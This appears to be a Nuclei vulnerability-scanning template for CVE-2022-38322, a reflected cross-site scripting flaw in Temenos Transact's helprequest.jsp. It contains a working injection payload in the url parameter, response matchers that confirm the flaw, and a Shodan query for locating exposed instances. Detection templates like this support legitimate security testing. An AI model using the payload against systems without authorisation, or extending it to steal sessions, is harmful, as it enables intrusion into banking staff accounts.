id: CVE-2022-38322

info:
  name: Temenos Transact - Cross-Site Scripting
  author: qotoz
  severity: high
  description: |
    Multiple vulnerabilities in Temenos Transact (formerly T24) that allows multiple reflected cross-site scripting (XSS) attacks.
  impact: |
    Attackers can inject malicious JavaScript through the helprequest.jsp component, potentially stealing banking credentials and session tokens from employees using the Temenos core banking platform.
  remediation: |
    Update Temenos Transact to a patched version that properly sanitizes the url parameter in helprequest.jsp and encodes output to prevent XSS attacks.
  reference:
    - https://www.qotoz.com/posts/Temenos-Transact-XSS-CVE/
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"transact sign in","t24 sign in"
  tags: cve,cve2022,temenos,transact,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/jsps/helprequest.jsp?url=%27)%22+onerror=%22confirm(%27document.domain%27)%22"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - setupHelp('')" onerror="confirm('document.domain')

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cd6fe4a6261c160b6fbccad266dd2ee635ad8edd63e6e42bc8da97da87acaff30220247249a3b2663ccff946e4c022f2e53d20a22b333d58f37dea87f22c403a7683:922c64590222798bb761d5b6d8e72950